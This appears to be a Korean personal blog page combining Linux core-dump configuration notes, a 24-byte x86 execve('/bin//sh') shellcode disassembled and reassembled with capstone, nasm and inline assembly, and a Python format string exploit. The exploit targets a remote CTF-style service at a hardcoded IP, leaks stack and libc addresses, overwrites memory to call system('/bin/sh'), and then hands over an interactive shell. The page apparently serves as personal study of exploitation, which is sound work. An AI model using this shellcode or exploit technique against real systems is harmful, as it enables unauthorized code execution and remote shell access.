1. core dump 파일사이즈 limit 변경

$ ulimit -c unlimited

이러면 core dump 파일사이즈의 제한이 없어진다. 하지만 이는 매번 로그인할 때마다 바뀌므로 영구적인 변경을 위해서는 /etc/security/limits.conf에 다음 line 추가한다.

*               soft    core            unlimited

*               hard    core            unlimited

(제일 왼쪽에는 계정id가 들어감. 모든 계정에 대해서는 *)


2. core_pattern 등록

echo "/tmp/core.%e.%p.%h.%t" > /proc/sys/kernel/core_pattern

or

sysctl -w kernel.core_pattern=/tmp/core.%e.%p.%h.%t

이런 식으로 어느 위치에 저장할 건 지 + 파일명의 format은 어떻게 할 건지 지정해준다.

포맷은 다음과 같다.

%p: pid

%u: uid

%g: gid

%s: signal number

%t: dump된 시간 (UNIX timestamp)

%h: hostname

%e: 실행파일명


근데 이는 재부팅마다 초기화된다. 구글링해본 결과 /etc/sysctl.d에 10-core-dump.conf를 만든 뒤 다음 line을 추가한다.

kernel.core_pattern=/tmp/core.%e.%p.%h.%t

하지만 Ubuntu 14.04기준 이도 재부팅되면 초기화된다. 영구적으로 만드는 것은 천천히 알아봐야겠다.

1. opcode -> assembly

[1] 파이썬 capstone library 이용하기

http://www.capstone-engine.org/lang_python.html

예) 24Byte shellcode 명령어


from capstone import *

CODE = b"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

md = Cs(CS_ARCH_X86, CS_MODE_32)
for i in md.disasm(CODE, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

test.py에 저장 후 실행


[2] C파일에 넣어서 컴파일

char s[]="\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";

int main(int argc, char **argv) {
	return 0;
}

컴파일 후 gdb로 확인



2. assembly -> opcode

[1] nasm 사용하기

BITS 32

xor edx, edx
push edx
push 0x68732f6e
push 0x69622f2f
mov ebx, esp
push edx
push ebx
mov ecx, esp
lea eax, [edx+0xb]
int 0x80

를 sh.S에 저장 후

nasm sh.S

[2] C의 inline assembly

int main() {
	__asm__ __volatile__(
	"xor %edx, %edx\n\t"
	"push %edx\n\t"
	"push $0x68732f6e\n\t"
	"push $0x69622f2f\n\t"
	"mov %esp, %ebx\n\t"
	"push %edx\n\t"
	"push %ebx\n\t"
	"mov %esp, %ecx\n\t"
	"lea 0xb(%edx), %eax\n\t"
	"int $0x80\n\t"
	);
}

test.c에 넣고 gcc로 컴파일


'Documents' 카테고리의 다른 글

pip install시 UnicodeDecodeError 발생할 때  (0) 2015.11.26
Core Dump 파일 생성  (0) 2015.11.03
hexdump 함수  (0) 2015.09.02
Using Multiple(Virtual) Desktop in Windows 10 VMware  (0) 2015.08.22
Windows 10에서 MS Office 에러  (0) 2015.08.19

32-bit Format String Bug

Exploit: Fake EBP

difference of library made me go nuts


from socket import *
import re
from struct import pack

p = lambda x: pack("<I", x)

def recv_until(s, data):
    p = s.recv(1)
    while data not in p:
        p += s.recv(1)
    return p

def shell(s):
    from telnetlib import Telnet
    t = Telnet()
    t.sock = s 
    t.interact()

s = socket(2,1)
s.connect(('54.165.223.128', 2555))

# leak EBP
recv_until(s, '>>> ')
s.send('1\n')

s.send('BBBB1\n')
s.send('0101234\n')
s.send('512\n')
s.send('%6$x\n')

recv_until(s, '>>> ')
s.send('4\n')
EBP = recv_until(s, '>>> ')
EBP = re.findall("Description: (.+)", EBP)[0]
EBP = int(EBP, 16) 
print 'EBP =',hex(EBP)

# leak library address
s.send('1\n')
s.send('BBBB2\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('4\n')
data = recv_until(s, '>>> ')
t = re.findall("Description: (.+)", data)[1]
t = int(t, 16)
print 'SYSTEM_LIB', hex(t)

s.send('1\n')
s.send('BBBB3\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB4\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB5\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2$x\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB6\n')
s.send('0101234\n')
s.send('512\n')
s.send('%45860c%6$hn\n')

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB7\n')
s.send('0101234\n')
s.send('512\n')
payload = '%'+`((EBP+2)&0xffff)`.rstrip('L')+'c%33$hn'
s.send(payload+'\n')
print payload

recv_until(s, '>>> ')
s.send('1\n')
s.send('BBBB8\n')
s.send('0101234\n')
s.send('512\n')
s.send('%2052c%69$hn\n')

system_libc = t - 53777 + 2 # this made me crazy... server libc != local libc 
binsh = system_libc + 1181844

recv_until(s, '>>> ')
s.send('1\n')
payload = p(system_libc)
payload += p(binsh)*3
s.send(payload + '\n')

s.send('0101234\n')
s.send('512\n')
s.send('ASDF\n') # 0x804b324


recv_until(s, '>>> ')
s.send('4\n')
recv_until(s, '>>> ')
print 'Done'
shell(s)


+ Recent posts